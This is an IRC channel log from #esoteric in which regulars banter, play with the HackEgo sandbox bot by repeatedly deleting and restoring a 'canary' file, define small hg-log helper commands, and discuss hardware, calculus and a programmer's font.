UNTOLD CHICKEN). 02:27:03 -!- MDream has changed nick to MDude. 02:27:53 -!- augur has joined. 03:07:18 ...OK, what the fuck SMBC forums 03:07:41 Their safety question to keep out spambots is a piece of trivia that you don't necessarily have memorized 03:07:53 "What's the nerdiest possible thing you could name your child?" 03:10:16 Seriously, what the hell? 03:11:43 Apparently it's "Ada Marie" 03:12:36 Now I have to close all SMBC-related tabs in the hope that the session ends when my cookies are cleared (I have SDC) 03:14:24 Jesus 03:14:59 Oh, AND they need an administrator to approve accounts 03:20:58 I think Godel fucked up bitcoin 03:21:48 hm bitcoin is still climbing 03:21:54 (what's SDC?) 03:25:29 oerjan: Self-Destructing Cookies 03:25:36 oerjan: The most delicious way to be assassinated 03:27:00 thausible. 03:27:25 although have you tried nitroglycerin ice cream 03:27:49 `? thausible 03:28:11 thausible? ¯\(°​_o)/¯ 03:33:27 Ooooh, s/force/horse/ has been overthrown! 03:35:18 wat. 03:35:55 oerjan: The latest xkcd 03:36:14 * oerjan thought he had read that 03:36:24 oerjan: Randall has a new favourite web substitution. His favourite used to be s/force/horse/, but now it's s/cat/my friend Catherine/ 03:36:57 Wait... 03:37:17 Isn't s/car/cat/ in an official xkcd web standard already? 03:37:39 "MY CAR GOT STOLEN" -> "MY CAT GOT STOLEN" -> "MY FRIEND CATHERINE GOT STOLEN" 03:38:24 did the robber use horse 03:38:54 oerjan: Yes, and they disabled the atomic alarm 03:39:40 OKAY 03:40:00 oerjan: These dudes I know report that the suspect looked like Elf-Lord Newtonstein; the elf-lord is guilty and everybody knows it 03:40:19 This may seriously damage his chances in the next eating contest 03:43:59 you realize i have no idea what you're referring to and am too lazy to find out 03:44:28 oh hm 03:45:21 oerjan: `? thausible twh 03:45:33 * oerjan wasn't too lazy anyway 03:45:37 `? thausible 03:45:49 thausible? ¯\(°​_o)/¯ 03:45:57 shachaf: hth 03:47:14 that helped -- and, understandably, seems indescribably blatant, like Edinburgh 03:48:03 i could be more Glaswegian -----### 03:50:16 `? wegian 03:50:19 wegian? ¯\(°​_o)/¯ 03:51:21 `learn A wegian is an equivalence class of #esoteric members. There are two main wegians, the Nor (from Finland) and the Glas (from Hexham). 03:51:27 Learned 'wegian': A wegian is an equivalence class of #esoteric members. There are two main wegians, the Nor (from Finland) and the Glas (from Hexham). 03:51:32 `sedlast s/member/regular/ 03:51:42 wisdom/wegian//A wegian is an equivalence class of #esoteric regulars. There are two main wegians, the Nor (from Finland) and the Glas (from Hexham). 03:53:06 I wonder whether adding transactions (with commit/rollback) to HackEgo, implemented using hgignore, would be useful. 03:53:57 `rm wisdom/wegian 03:54:00 No output. 03:55:20 * oerjan reminds shachaf that .hgignore doesn't work on files that are already tracked hth hth 03:55:32 stupid /me exception 03:55:53 Looks like there's also "galwegian" 03:56:23 Sure, lots of wegians. 03:56:47 shachaf: No, there's only those 3 though 03:56:54 No, there are others. 03:56:54 http://www.thefreedictionary.com/words-containing-wegian 03:57:26 shachaf: Such as? 03:58:07 Wait, how are the Norwegian from Finland? I thought that Finland =/= Norway 03:58:27 (Also, is the proper plural or "Norwegian" "Norwegian" or "Norwegians"?) 03:58:43 Well, they're from Finland, but now they're Norwegian. 03:58:54 Those aren't incompatible. 04:08:26 with s hth 04:08:47 when used as a noun. 04:25:52 When are the codu logs coming back? 04:26:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 04:26:57 when Gregor fixes it 04:27:05 >_> 04:27:32 Gregor: cod u fix it twh 05:01:15 -!- augur has quit (Remote host closed the connection). 05:33:33 -!- Kaynato has quit (Ping timeout: 246 seconds). 06:04:03 -!- Melvar has joined. 06:17:51 -!- moon_ has joined. 06:18:18 is it considered strange for me to join using a wii u? 06:19:58 *GASP* 06:20:10 wii u do such a thing 06:22:32 -!- hppavilion[1] has joined. 06:23:30 it has a browser, yes 06:23:59 its also slowing my typing alot 06:24:36 how would one type on a wii u? 06:25:22 the gamepad 06:27:32 so 06:27:33 like 06:27:38 you move the cursor around on the screen 06:27:39 so is it wierd? 06:27:44 to bring it to each key? 06:27:51 *phew* 06:27:57 for a moment I thought I had fucked up the patch 06:28:03 but it was just a misplaced brace 06:28:32 now, i get a digital keyboard like the one in tablets to use. 06:28:40 *no 06:28:47 touchscreen? 06:29:06 mhm, the gamepqd is touchscreen. 06:29:18 damn slow keybard. 06:29:27 ._. 06:30:13 also, you all are on tv, say hi 06:32:48 )= 06:33:59 `ls 06:34:24 ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ logs \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf 06:34:35 `blame elronnd 06:34:36 It was tswett's fault! Punish them! 06:34:42 ... 06:34:58 `blame2 elronnd 06:34:59 It was elronnd's fault! Punish them! 06:35:46 `cat canary 06:36:27 tꙮst 06:36:48 `rm canary 06:36:50 No output. 06:38:17 `cat canary 06:38:20 tꙮst 06:38:35 * oerjan whistles innocently 06:40:18 `` rm canary; cat canary 06:40:22 cat: canary: No such file or directory 06:40:32 `cat canary 06:40:33 bad oerjan 06:40:35 tꙮst 06:40:53 `rm canary 06:40:56 No output. 06:40:58 `cat canary 06:41:02 tꙮst 06:41:09 ............ 06:41:20 baaaaaddd oerjan 06:41:33 i think you may be misinterpreting something 06:41:44 `rm canary 06:41:47 No output. 06:41:48 `cat canary 06:41:52 tꙮst 06:42:23 *steels the frying pan and bashes oerjan* 06:42:30 `rm canaary 06:42:32 rm: cannot remove `canaary': No such file or directory 06:42:47 `rm canary 06:42:49 No output. 06:43:02 -!- augur has joined. 06:43:12 `cat canary 06:43:14 tꙮst 06:43:22 gtfo canary, bad oerjan` 06:43:30 `rm canary 06:43:32 No output. 06:43:44 `file canary 06:43:49 canary: UTF-8 Unicode text 06:44:13 .......! 06:44:28 * oerjan thinks moon_ is a bit slow 06:44:37 `mk canary//moonerride 06:44:42 canary 06:44:46 `cat canary 06:44:47 moonerride 06:44:56 im using a wii u for some insane reason 06:45:07 `rm canary 06:45:11 No output. 06:45:24 `` [ -e tmp/blah ] && mv canary tmp/ || touch tmp/blah 06:45:28 No output. 06:45:32 `cat canary 06:45:34 moonerride 06:46:19 -!- moon__ has joined. 06:46:26 wiis hate me 06:46:34 `cat canary 06:46:36 moonerride 06:46:57 * moon__ has gone bleeping mad 06:47:07 `cat tmp/blah 06:47:08 cat: tmp/blah: No such file or directory 06:47:26 moon__: it's a magical file that cannot be permanently deleted hth 06:47:35 ... 06:48:01 who made the trigger on modify script? 06:48:10 Gregor, the bot owner 06:48:19 it's outside the sandbox 06:48:43 ` mkdir canary 06:48:45 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 06:48:55 moon__: um we did that once 06:48:59 `mkdir canary 06:49:00 mkdir: cannot create directory `canary': File exists 06:49:06 ... 06:49:10 it broke a lot of things. 06:49:22 oh. 06:49:27 in fact, it's the reason why `revert _still_ gives an error message. 06:49:39 (that's otherwise harmless) 06:49:46 -!- moon_ has quit (Ping timeout: 250 seconds). 06:49:56 `` rm canary; mkfifo canary 06:50:00 No output. 06:50:03 `mk tmp/canary 06:50:07 usage: mk[x] file//contents 06:50:22 `file canary 06:50:23 canary: ASCII text 06:50:29 `cat canary 06:50:30 moonerride 06:50:55 `mk tmp/canary//canaryd 06:50:56 tmp/canary 06:51:01 shachaf: iirc it may check for that, but somehow doesn't check for it being a directory 06:51:12 `rm tmp/canary 06:51:14 No output. 06:51:24 `cat tmp/canary 06:51:25 cat: tmp/canary: No such file or directory 06:51:35 oerjan: Is it running the code in https://bitbucket.org/GregorR/hackbot/pull-requests/2/transactional-hackego/diff ? 06:51:40 moon__: it only applies to the particular one 06:51:44 If so, I think it's just that hg fails to commit a fifo. 06:51:49 that makes me feel better 06:52:02 shachaf: maybe. 06:52:40 if only i could `bash tmp/oerjan 06:52:48 shachaf: i've not exactly tried to read that code 06:52:52 that would kill my stress 06:53:08 moon__: try @slap instead 06:53:28 @slap oerjan 06:53:28 stop telling me what to do 06:53:37 lambdabot: now you're just being unhelpful 06:53:48 (it's a bit random) 06:54:08 * moon__ has gone berserk 06:54:16 can you go berserk somewhere else please 06:54:21 you always do it in here 06:54:53 ut im not using cmds )= 06:55:34 * oerjan lends moon__ his saucepan ===\__/ 06:56:03 Hmm, can you get race conditions? 06:56:05 `rm canary 06:56:05 `rm canary 06:56:06 `rm canary 06:56:06 `rm canary 06:56:09 `rm canary 06:56:10 No output. 06:56:12 `rm canary 06:56:12 No output. 06:56:13 No output. 06:56:14 `rm canary 06:56:17 `rm canary 06:56:26 * moon__ saucepans shachaf ===\__/ 06:56:44 I guess I should've tested that in /msg. 06:56:51 Since it's not likely to work anyway. 06:56:53 no, commands are not ran parallel 06:56:58 No output. 06:56:59 No output. 06:57:00 No output. 06:57:02 No output. 06:57:03 No output. 06:57:17 I thought I saw commands run in parallel once. But I never paid much attention. 06:57:30 before sandbox, maybe 06:57:49 they still run in parallel if they're readonly 06:58:20 But I guess a writing command blocks readers? 06:59:03 it gets a lock on the second run 06:59:46 and does a checkout 06:59:46 `kitten canary #lol i wish i could 06:59:47 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: kitten: not found 06:59:48 Right. I remember something about that now. 07:00:01 `? kitten 07:00:03 kitten? ¯\(°​_o)/¯ 07:00:07 `? kitt 07:00:12 Kitt is the singular of kitten. 07:00:31 its 'kit' dumbos 07:00:46 please don't be a jerk 07:00:52 (= 07:01:07 insulting people and then smiling when they ask you to stop isn't endearing behavior 07:01:38 sry : p, smile badly timed sarcasm 07:02:36 i cannt type fast on a wii u. 07:04:04 ... i killed chat. 07:04:15 BRAINS 07:04:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 07:04:47 you just had to eat hppa. 07:05:08 very creative, good brain 07:05:41 you will never eat me ===\___/ 07:06:49 -!- hppavilion[1] has joined. 07:06:57 indeed, my stomach gets in trouble from blue cheese 07:07:13 oerjan ate your brain. so he says. 07:07:44 wait, is it supposed to be green in english too 07:07:58 no 07:08:55 wikipedia says it is? 07:08:58 http://www.bay12forums.com/smf/index.php?topic=158502.msg7031617#msg7031617 07:10:10 i certainly know, ive seen it everywhere, it is not opposite moment! 07:11:48 https://s-media-cache-ak0.pinimg.com/736x/41/c6/ee/41c6ee91f63bdc973d721399013566f7.jpg 07:13:06 `echo yranac > canary 07:13:18 yranac > canary 07:13:23 thx tdh 07:13:29 `` echo yranac > canary 07:13:30 omeone else *cough* did some questionable(of both sanity and accuracy) internet research and came up with a corgi puppy giving a tad under 250 ml of blood.  So it would take 4 corgi puppies to get a liter of blood.   07:13:33 No output. 07:13:45 from bay12 forums 07:14:41 dur 07:14:52 hur dur dur 07:15:01 dur hur 07:15:11 huuuur? 07:15:18 dur! 07:15:20 stop it 07:15:22 `? hurr durr 07:16:16 hurr durr? ¯\(°​_o)/¯ 07:16:21 ... 07:18:20 `? moon_ 07:18:29 moon_? ¯\(°​_o)/¯ 07:18:44 )= 07:19:10 `? moon 07:19:38 i think HackEgo is slow again 07:19:40 -!- moon__ has quit (Quit: Page closed). 07:19:47 that might be me hth 07:20:35 `? shachaf 07:20:43 wait... 07:21:09 `run echo hi 07:21:22 -!- moon_ has joined. 07:21:22 durp 07:21:27 hi 07:21:28 -!- moon_ has quit (Client Quit). 07:22:00 shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him. 07:22:03 Moon is a person, not an unretroreflectorey object. 07:22:09 -!- moon_ has joined. 07:22:15 hurp 07:22:29 -!- moon_ has quit (Client Quit). 07:22:57 -!- moon_ has joined. 07:23:06 dfffu 07:23:11 -!- moon_ has quit (Client Quit). 07:23:22 <\oren\> moon_: your connection is terrible 07:23:26 very incoherent today 07:23:42 `file canary 07:23:43 canary: ASCII text 07:23:46 -!- moon_ has joined. 07:23:48 urgh 07:23:48 <\oren\> moon_: your connection is terrible 07:23:54 Oops. 07:24:11 no, i keep hitting the previous page button 07:24:20 `revert 07:24:23 did shachaf kill HackEgo again 07:24:30 <\oren\> use a real irc client hth 07:24:31 maybe? 07:24:39 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 07:24:41 lol im on a wii u 07:24:46 how 07:24:52 <\oren\> WUT 07:24:59 `cat canary 07:25:00 No output. 07:25:09 `file canary 07:25:10 canary: empty 07:25:15 yes i am fliping insane 07:25:17 ok 07:25:22 `where file 07:25:35 It's just empty. 07:25:41 oh. 07:25:49 `mk canary//nope 07:25:50 d'üh 07:25:57 canary 07:25:57 Come on. 07:25:59 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: where: not found 07:26:04 `run rm canary; touch canary 07:26:07 No output. 07:26:09 hm 07:26:14 `rm fnord 07:26:17 rm: cannot remove `fnord': No such file or directory 07:26:22 <\oren\> `? canary 07:26:24 No output. 07:26:29 `cat fnord 07:26:52 <\oren\> `? fnord 07:26:53 shëësh 07:26:57 ​? ¯\(°​_o)/¯ 07:26:59 cat: fnord: No such file or directory 07:27:04 hackego is broken in so many ways already 07:27:09 -!- moon_ has quit (Client Quit). 07:27:41 -!- moony has joined. 07:27:48 i hate the wii u gamepad now 07:28:19 `quote pumpkin seeds 07:28:20 437) Phantom_Hoover: it is a hate so pure and... pumpkin seeds? 07:30:23 `ls 07:30:53 ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ logs \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf 07:31:56 `file logs 07:32:32 logs: empty 07:35:13 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 07:36:26 `culprits logs 07:36:46 xfix xfix 07:37:22 `` hg log logs | grep Summary: 07:37:24 No output. 07:37:27 argh 07:37:39 `` hg log logs | grep Summary 07:37:43 No output. 07:37:48 *sigh* 07:37:52 `cat bin/culprits 07:38:07 `` hg log logs | grep summary: # hth 07:38:22 Though I type that often enough that it really ought to get its own command or something. 07:38:30 summary: cd perl-5.22.2; nohup ./Configure -d -Dprefix=/hackenv > /hackenv/logs & \ summary: cd perl-5.22.2; ./Configure -d -Dprefix=/hackenv > /hackenv/logs 07:38:32 hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs 07:39:13 `rm logs 07:39:20 Forgot to remove that one, I guess? 07:39:26 whoa 07:39:28 `welcome xfix 07:39:51 i think e's been here a bit 07:39:52 xfix: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 07:39:54 No output. 07:40:08 like, long enough to try (and fail) to upgrade perl in HackEgo 07:40:17 I tried to update Perl, and failed. 07:40:58 yeah you cannot run long-running commands 07:41:04 not even with nohup 07:41:33 (and i guess that would only be the first problem) 07:53:22 -!- augur has quit (Remote host closed the connection). 08:21:52 -!- lambda-11235 has quit (Quit: Bye). 08:22:33 -!- oerjan has quit (Quit: Nite). 08:35:47 -!- xkapastel has quit (Quit: Connection closed for inactivity). 09:15:59 -!- zadock has joined. 09:19:45 -!- zadock has left. 09:31:33 -!- Phantom_Hoover has joined. 09:50:02 -!- gamemanj has joined. 10:11:11 -!- hppavilion[1] has joined. 10:14:25 Hm. 10:14:28 For some reason 10:15:07 I just calculated that the odds of a single, worldwide sneeze (that is, every human on earth sneezes at the same time- within the same second) are 5.2345140545750255095729057789677877107902000024178184273063118452216398192830384321642665672586107071499738573951676069816850719055839882135729586168861337085743787119721991366279460690571913008155670283808735608620… × 10^-37943769263 10:40:27 `spam 10:40:36 4/495:e. \ 794) Backups are so like one of those circus guys walking on a wire except with a safety rope. \ 187) 22:55 < qfr> How am I supposed to develop software in Haskell if I can't even prepare my projects in UML?! It seems like an impossible task. HAHA [...] this is amazing, l 10:40:51 `spam 10:40:52 5/495:ike meeting a Mormon or something \ 633) right: you didn't find out you were wrong, just right in a way we failed to consider. if only every wrong person could be so lucky \ 1125) I designed a norn to drop dead instantly if he ever thought about eating elevators. He was stillborn. \ 171) qui 10:41:46 `mkx bin/5//for i in {1..5}; do quote; done | sport 10:41:51 bin/5 10:41:53 `5 10:41:59 1/2:80) fungot!*@* added to ignore list. AnMaster: i'd find that a bit annoying to wait for an ack. \ 923) fungot: |open quote fungot: | just to help an fnord archive)" [...] jconn: i am just as confused. you know, that thing which you might want is broken \ 470) I think it' 10:42:03 `spam 10:42:04 2/2:s fizzie against everyone atm AND EVERYONE IS WINNING EXCEPT FIZZIE \ 524) Can you build the ... why wouldn't you be able to, just and all the computables \ 34) Seconds. 30 of them. Did I forget the word? \ 10:51:12 I just explained derivatives to someone 10:51:19 I feel so proud of myself 10:51:26 Now I should probably go learn calculus 10:51:50 `ps 10:51:52 ​ PID TTY TIME CMD \ 286 ? 00:00:00 init \ 288 ? 00:00:00 sh \ 290 ? 00:00:00 ps \ 291 ? 00:00:00 cat 10:51:58 `? brainfuck 10:52:01 brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array 10:52:09 `derivative brainfuck 10:52:10 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: derivative: not found 10:52:24 Dammit, I was hoping it would say "The family of terrible esolangs" 10:53:55 >>> sin(brainfuck_derivatives) 10:54:00 True 10:56:15 what an unusual sine function 10:57:46 `mkx bin/hog//hg log --template "{desc}\n" "$@" 10:57:48 bin/hog 10:58:30 gamemanj: It's neither sine nor a function; it's a predicate that determines whether something is a mortal sin 10:58:37 >>> sin(lust) 10:58:39 True 10:58:47 >>> sin(wrath) 10:58:48 True 10:58:51 Wait, what's wrong with lust and wrath? 10:58:55 >>> sin(slavery) 10:58:55 >>> sin(attempting_to_perform_human_alchemy) 10:58:56 False 10:59:11 Anyway, if you want to learn calculus, just read https://cr.yp.to/papers/calculus.pdf 10:59:21 shachaf: Best. URL. Ever. 10:59:25 It's 12 pages long and it'll teach you everything you need to know. 11:00:05 hppavilion[1]: your predictate hasn't given an answer yet... 11:00:24 gamemanj: It recognizes my voice and only responds to commands from me 11:00:50 So it's not just completely fake then? 11:01:12 Anyway, on my behalf, could you ask the predictate if "attempting to perform human alchemy" is a sin? 11:01:16 gamemanj: Correct. It's handled by a trained dachshund 11:01:35 gamemanj: I don't really know what "human alchemy" is 11:01:46 Attempting to transmute a human! 11:01:54 `learn A predictate assigns a truth value to things that haven't happened yet. 11:01:58 Learned 'predictate': A predictate assigns a truth value to things that haven't happened yet. 11:02:11 shachaf: But people are wrathful all the time! 11:02:32 Anyway, you should actually read that PDF. 11:02:37 gamemanj: But not lustful. That certainly isn't a thing 11:02:42 shachaf: Yes, I opened it 11:02:43 ... 11:03:02 It'll keep you busy for a while and then you'll know a bunch of things. 11:03:13 shachaf: That sounds familiar 11:03:23 Like the gauge integral! 11:03:38 More general than Riemann *and* Lebesgue! 11:06:33 `mkx bin/hogue//hg log --remvoed --template "{desc} 11:06:36 oops 11:06:37 bin/hogue 11:06:44 https://derpicdn.net/media/W1siZiIsIjIwMTIvMTIvMzEvMjFfMTdfMzBfMTgwXzE5ODg3MV9fVU5PUFRfX3NhZmVfdHdpbGlnaHRfc3BhcmtsZV9yYWluYm93X2Rhc2hfcGlua2llX3BpZV9mbHV0dGVyc2h5X3Jhcml0eV9hcHBsZWphY2tfYW5pbWF0ZWRfbWFuZV9zaXhfYXJ0aXN0X2JsYWNrZ3J5cGgwbl9oZWFkYm9iIl1d/198871__safe_twilight%2Bsparkle_rainbow%2Bdash_pinkie%2Bpie_fluttershy_rarity_applejack_animated_mane%2Bsix_upvotes%2Bgalore_artist-colon-blackgryph0n_headbob.gif is... interesting 11:06:47 `mkx bin/hogue//hg log --removed --template "{desc}\n" "$@" 11:06:50 bin/hogue 11:07:44 I really wish they were a bit out of sync 11:07:51 It'd be much less creepy that way 11:08:17 hppavilion[1]: Reading the URL, all I will say is: "At least it's `safe`!" 11:08:36 djb is TG 11:13:00 `hogue bin 11:13:50 mkx bin/hogue//hg log --removed --template "{desc}\\n" "$@" \ mkx bin/hogue//hg log --remvoed --template "{desc} \ mkx bin/hog//hg log --template "{desc}\\n" "$@" \ mkx bin/5//for i in {1..5}; do quote; done | sport \ mkx bin/1//\\` "$@" | sport \ ` chmod +x bin/mirrorgo \ ` p 11:14:06 `5 11:15:13 1/2:706) I think we are sort of this insane, and also sort of not as much as insane, and also sort of a bit more insane than that, and also somewhat more various other thing at various times whatever you are discussing at that time \ 605) elliott, cars aren't perfectly spherical. \ 1221) Anyways i 11:15:43 `spam 11:16:07 2/2:actually do have food in my house and this time its not coffee based \ 218) so you have legacy software in befunge that needs supported? \ 268) I use LiGNUXFCE+apps That's pronounced by saying "Linux" and then vomiting, btw. \ 11:23:13 There'll be a quiz, so you'd better study. 11:23:28 so anyway I'm using linxfcpacmathunarchexchat. 11:26:16 -!- Phantom__Hoover has joined. 11:29:54 -!- Phantom_Hoover has quit (Ping timeout: 250 seconds). 11:47:14 The best censoring is missed censoring 11:47:19 @google linxfcpacmathunarchexchat 11:47:20 No Result Found. 11:47:26 Like shith*le and b****fuck 11:47:45 int-e: linux, xfce, pacman, thunar, arch, hexchat. 11:48:14 hmm, had not heard of thunar 11:48:32 xfce's file manager. 11:49:29 nor hexchat, but it's a fork of xchat which I used at some point... 11:49:59 ...before switching to irssi 11:51:30 A number of warning... 12264 11:52:02 agzzi... hmm, no. 11:52:18 err, it would be hgzzi anyway 12:04:02 hexchat is that fork of xchat which works on windows and completely fucks up the colours for no good reason, right? 12:06:15 Phantom__Hoover, try a CTCP VERSION on me? 12:07:13 i know i'm using hexchat but it's an old version from before they fucked up the colours 12:07:27 I don't see anything wrong with the colours. 12:07:36 nice 933MHz cpu, what is this, the 80s 12:07:45 I think that's incorrect reporting. 12:08:19 Either that or it's because my CPU's idling... 12:08:33 However, in "model name" it specifies 2.40GHz. 12:08:54 ...so in other words, still ancient, but not that ancient. 12:09:17 i still have no clue why xchat thinks your clock speed needs to be in your version string 12:09:18 Give me a sec. 12:09:26 I'm just going to run a bunch of infinite looping processes... 12:09:54 THERE we go! 12:09:57 2.4ghz doesn't seem 'ancient' given how much clock speeds have stagnated 12:10:01 Now try the CTCP VERSION. 12:10:06 still 933 12:10:08 Eh? 12:10:22 presumably it just reads the clock speed once when the client starts up 12:10:34 Well, that's annoying. 12:12:35 About that "doesn't seem ancient" - Not yet, I suppose, but I'm already seeing the train at the end of the tunnel. Game devs are hailing Vulkan and OpenGL 3.0+. 12:13:07 so a new skylake i5 has a clock speed of 2.9GHz 12:13:21 and graphics hardware is a whole other kettle of fish 12:14:05 -!- Phantom__Hoover has changed nick to Phantom_Hoover. 12:18:07 This is an Ironlake. OpenGL 2.1, or OpenGL ES 2, with extensions. Will run WebGL stuff fine, if slow... but don't worry, WebGL 2 fixes that bug... by making sure stuff can't run at all. If I sound annoyed about this, that's because I am. 12:20:03 ironlake is your GPU architecture. it has no direct relation with your clock speed 12:20:11 That's not my point. 12:20:16 I'm not talking about clock speed... 12:20:20 also i remember using an intel gpu on linux and you have my sympathy 12:20:21 I'm noting about hardware age 12:20:30 Hey, it's absolutely fine! 12:20:35 well we started out talking about clock speed! 12:20:53 Ok, true, the topic's diverting all over the place. 12:21:24 Anyway, the hardware works fine. It's just (supposedly) not capable of all the fancy OpenGL ES 3 features Khronos like. 12:21:25 maybe it's fine now, i remember ~5 years ago if i tried to run anything that used modern shaders it would hard-lock the GPU and i'd need to reboot 12:52:26 -!- top has joined. 12:53:40 -!- pemaguru has joined. 12:56:59 -!- pemaguru has left. 13:41:12 -!- top has quit (Ping timeout: 250 seconds). 14:17:14 -!- Akaibu has joined. 14:35:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 14:50:26 -!- top has joined. 15:28:04 -!- Kaynato has joined. 15:30:58 <\oren\> Almost finished adding Cherokee 15:32:48 <\oren\> Also, I just read a book about Ramanujan. and all I can think is, poor Hardy! 15:34:08 invest all your efforts into your prodigy only for him to ungratefully die of tuberculosis 15:34:42 <\oren\> yeah. he must have been defastated 15:35:51 is there a pun in that typo, mhm 15:36:56 or is it another small keyboard problem 15:37:35 -!- SupayrPoney has joined. 15:37:51 `welcome SupayrPoney 15:37:58 Hey! Thanks :) 15:38:01 <\oren\> I think this time it was a brain problem 15:38:16 <\oren\> that caused the misspelling 15:38:18 HackEgo: come on, you can do it! get that data out of your swap space! 15:38:36 SupayrPoney: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 15:38:41 `snackego 15:38:46 ​:) 15:38:49 -!- toon has joined. 15:38:51 <\oren\> We also make fonts! 15:39:03 <\oren\> or at least I do. 15:40:03 -!- Vorpal has joined. 15:40:03 -!- Vorpal has quit (Changing host). 15:40:03 -!- Vorpal has joined. 15:44:58 -!- top has quit (Read error: Connection reset by peer). 15:49:47 I've been using \oren\'s font... or, more specifically, the "supported characters" page as a way of copying out characters. 16:07:06 <\oren\> https://www.youtube.com/watch?v=vTIIMJ9tUc8 16:07:27 \oren\: by the way, http://www.orenwatson.be/fontdemo.htm does load from here, so it was a client problem last time 16:08:41 \oren\: and I still think І looks too similar to I, and Ј looks too similar to J in that font 16:16:42 \oren\: wait, does this font have \x{2400} and \x{240A}? those would be useful 16:17:30 \oren\: the whole block from \x{2400} to \x{2421} in fact 16:20:45 the apple ␘not ␌al␊ar from the tree 16:22:57 ␚␠␆ ␍α␐ 16:23:11 there, good luck working out what that's supposed to mean 16:24:09 Δv is a critical concept for KSP players. 16:24:23 ...Ok, I should probably stop with the UTF-8 madness 16:25:56 -!- augur has joined. 16:37:09 there, good luck working out what that's supposed to mean <-- yeah since they are just blurs in DejaVu Sans Mono 8pt. 16:37:25 I guess the hinting is bad? 16:37:34 Since i use greyscale AA with full hinting 16:37:44 * gamemanj sets his font to DejaVu Sans Mono 8pt 16:37:49 But those symbols doesn't look hinted at ALL 16:38:04 I'm not even sure the symbols are part of DejaVu Sans... 16:38:09 Maybe 16:38:20 I guess a substitution font could be pulled in 16:39:00 the apple CANnot FFalLFar from the tree / SUBSPACK CRαDLE 16:39:29 That second line was an attempt to write something using absolutely 0 ASCII (because then it might be readable) 16:43:01 <\oren\> b_jonas: it does have 0x2400 to 0x2426 16:43:23 <\oren\> `u8tbl 0x2400 0x2426 16:43:34 ​␀␁␂␃␄␅␆␇␈␉␊␋␌␍␎␏ \ ␐␑␒␓␔␕␖␗␘␙␚␛␜␝␞␟ \ ␠␡␢␣␤␥␦ 16:43:42 \oren\: ok 16:57:33 -!- xkapastel has joined. 17:01:14 -!- Akaibu has quit (Quit: Connection closed for inactivity). 17:03:24 -!- plusminus has joined. 17:05:22 Is there any systematic approach in seeding a Brainfuck tape? 17:09:04 -!- plusminus has quit (Quit: Page closed). 17:16:32 wha 17:17:30 -!- lambda-11235 has joined. 17:18:07 ...well, plusminus, the easiest way to decide on the initial values for a tape is not to actually check it unless it is outputted '.' or checked using '[' or ']'. At this time, the relative value to 0 should be added upon the seed value, which is determined by a set of two chess matches against a player of your choosing apart from yourself. 17:18:21 `? wtf 17:18:37 wtf? ¯\(°​_o)/¯ 17:18:57 This generates two values. 0 if you won, and 0 if you lose. Adding these two values together gives you the seed value for that cell. 17:20:05 Some may say that this algorithm always returns 0. That's the point. 17:51:28 -!- moon_ has joined. 17:51:35 hiii 17:52:23 -!- augur has quit (Ping timeout: 258 seconds). 17:54:53 -!- augur has joined. 17:57:25 -!- hwpplayer1 has joined. 18:01:00 hi 18:27:51 -!- MoALTz has quit (Quit: Leaving). 18:35:40 -!- moon_ has quit (Ping timeout: 250 seconds). 18:50:58 <\oren\> Ok, I've finished cherokee and a few other things, but I don't think it's enough yet. (I'm going back to the 50 chracters per release rule) Anyone have a suggestion 18:51:51 <\oren\> maybe I should lower the tilde... 18:52:09 <\oren\> ~= 18:52:41 <\oren\> yeah I'll try putting the tilde so it lines up with -=~= 18:53:16 \oren\: perhaps tildes should be either at very top or at the exact center 18:53:47 (top does not hurt that much, given an example of *=) 18:54:01 <\oren\> my * is in the centre 18:56:13 <\oren\> hmm, o yeah. to be consistent, I'll put the tilde centred. it's supposed to be a font for terminals/programming anyway... 19:00:31 \oren\: well, if you want more characters, you can always do some more kanji 19:00:48 \oren\: or maybe generate the full set of hangul syllables 19:06:49 \oren\: does it support the APL characters? 19:07:00 -!- moon_ has joined. 19:07:01 i installed openbsd (= 19:07:02 \oren\: oh, about the font, there's something in which you might be able to help me. 19:07:05 gamemanj: most, yes 19:07:54 \oren\: I'm trying to transcribe Arne Saknussem's mysterious inscription from Jules Verne's ''Voyage au centre de la Terre''. Here's the state I've got: 19:07:58 ᛁᚿ ᛋᚿᛅᚠᚠᛚᛚᛋ ᛁᚮᚴᚢᛚᛁᛋ ᚴᛦᛆᛏᛅᛦᛅᛘ ᚴᛅᛘ ᚦᛅᛚᛁᛒᛆᛏ ᚢᛘᛒᛦᛆ ᛋᚴᛆᛦᛏᛆᛦᛁᛋ ᛁᚢᛚᛁᛁ ᛁᚿᛏᛦᛆ ᚴᛆᛚᛅᚿᚦᛆᛋ ᚦᛅᛋᚴᛅᚿᚦᛅ, ᛆᚢᚦᛆᛋ ᚢᛁᛆᛏᚮᛦ, ᛏᛅ ᛏᛅᛦᛦᛅᛋᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ 